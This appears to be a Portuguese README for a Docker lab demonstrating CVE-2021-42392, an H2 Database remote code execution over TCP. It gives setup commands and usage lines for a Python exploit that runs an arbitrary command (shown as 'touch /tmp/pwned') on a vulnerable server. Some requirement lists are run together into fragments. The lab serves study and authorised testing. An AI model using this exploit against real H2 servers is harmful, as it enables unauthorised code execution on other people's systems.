
Ambiente de laboratório controlado para testar CVE-2021-42392 H2 Database RCE via TCP. Inclui servidor H2 vulnerável, script de exploit em Python e configuração Docker para testes de penetração ética e educação.
Este repositório fornece um ambiente mínimo e controlado para testar a vulnerabilidade de Execução Remota de Código no Banco H2 (CVE-2021-42392) utilizando a funcionalidade CREATE ALIAS. Diferente de muitas demonstrações, este exploit ataca diretamente o serviço TCP do H2 (normalmente na porta 9092), sem depender do Console Web do H2.
🛑 Apenas para fins educacionais e de teste. Não utilize em sistemas que você não possui ou sem permissão explícita para testar.
CVE-2021-42392 é uma vulnerabilidade crítica nas versões do Banco H2 anteriores a 2.0.206 que permite execução remota de código via CREATE ALIAS se o banco estiver exposto por TCP ou pelo Console Web.
Este projeto inclui:
2.0.202jaydebeapi e JPypeCom Docker:
Se executar o exploit fora do Docker:
git clone https://github.com/Be-Innova/CVE-2021-42392-exploit-lab
cd h2-cve-2021-42392-poc
docker compose build
docker compose up -d
docker compose exec client bash
python3 h2_exploit.py --url jdbc:h2:tcp://h2-vulnerable\:9092/~/test --cmd "touch /tmp/pwned" --jar /jars/h2.jar
python3 h2_exploit.py --url <jdbc-url> --cmd "<command>" --jar "path-to-jar"
Argumentos:
--url: URL JDBC da instância H2 vulnerável (ex.: jdbc:h2:tcp://192.168.1.100\:9092/~/test)
--cmd: Comando a ser executado no servidor vulnerável
--jar: Caminho opcional para o JAR do driver H2 (padrão: /jars/h2.jar)
9092 aberta do Banco H2 vulneráveljavac instalado no servidor que executa o banco vulnerávelEste código é fornecido como está para fins educacionais e testes de penetração éticos em ambientes isolados. Não o utilize em sistemas não autorizados. O autor não se responsabiliza pelo uso indevido.